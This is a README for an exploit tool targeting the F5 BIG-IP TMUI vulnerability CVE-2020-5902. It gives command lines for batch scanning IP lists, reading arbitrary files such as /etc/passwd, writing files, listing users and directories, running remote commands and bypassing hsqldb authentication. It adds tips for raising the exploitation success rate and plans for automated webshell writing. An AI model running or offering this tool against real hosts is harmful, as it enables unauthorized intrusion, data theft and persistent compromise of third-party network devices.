
F5 BIG-IP RCE CVE-2020-5902 automatic check tool
On 20200706, the F5 BIG-IP TMUI RCE vulnerability was disclosed online.
The TMUI component (Traffic Management User Interface) of F5 BIG-IP has an authentication bypass vulnerability. This vulnerability arises from a difference between the URL parsed by Tomcat and request.getPathInfo(), allowing permission verification to be bypassed, unauthorized access to all functions of the TMUI module, and consequently reading/writing arbitrary files, command execution, etc.
For details, refer to F5 BIG-IP TMUI RCE Vulnerability (CVE-2020-5902) Reproduction and Notes
This tool supports single IP detection, batch IP detection, file read/write, listing authenticated users, listing directories, remote command execution, and hsqldb authentication bypass detection.
pip install requests
python f5-bigip-rce-cve-2020-5902.py -h

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --check

python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --check -t 20 -s 10

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --fileread "/etc/passwd"

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --filepath "/tmp/xxx.txt" --filecontent "x"

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --list-users

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --listdir "/tmp/"

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --rce id --still-exploit

python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --rce whoami --still-exploit -s 15 -t 20

python f5-bigip-rce-cve-2020-5902.py -u "https://1.2.3.4" --bypass-hsqldb

python f5-bigip-rce-cve-2020-5902.py -f 1-2-f5.txt --bypass-hsqldb

For batch IPs, it is recommended to prefix with http:// or https://. If no protocol is provided, http:// will be added by default.
If conditions allow, it is recommended to add the --still-exploit parameter, which will proceed with RCE even if listing auth users fails, increasing the success rate.
Send multiple requests to increase batch success rate; efficiency trade-offs need to be considered.
Integrate hsqldb interface deserialization exploitation.
Add automated webshell writing.
issues
lsablog
gmail:[email protected]
qq:[email protected]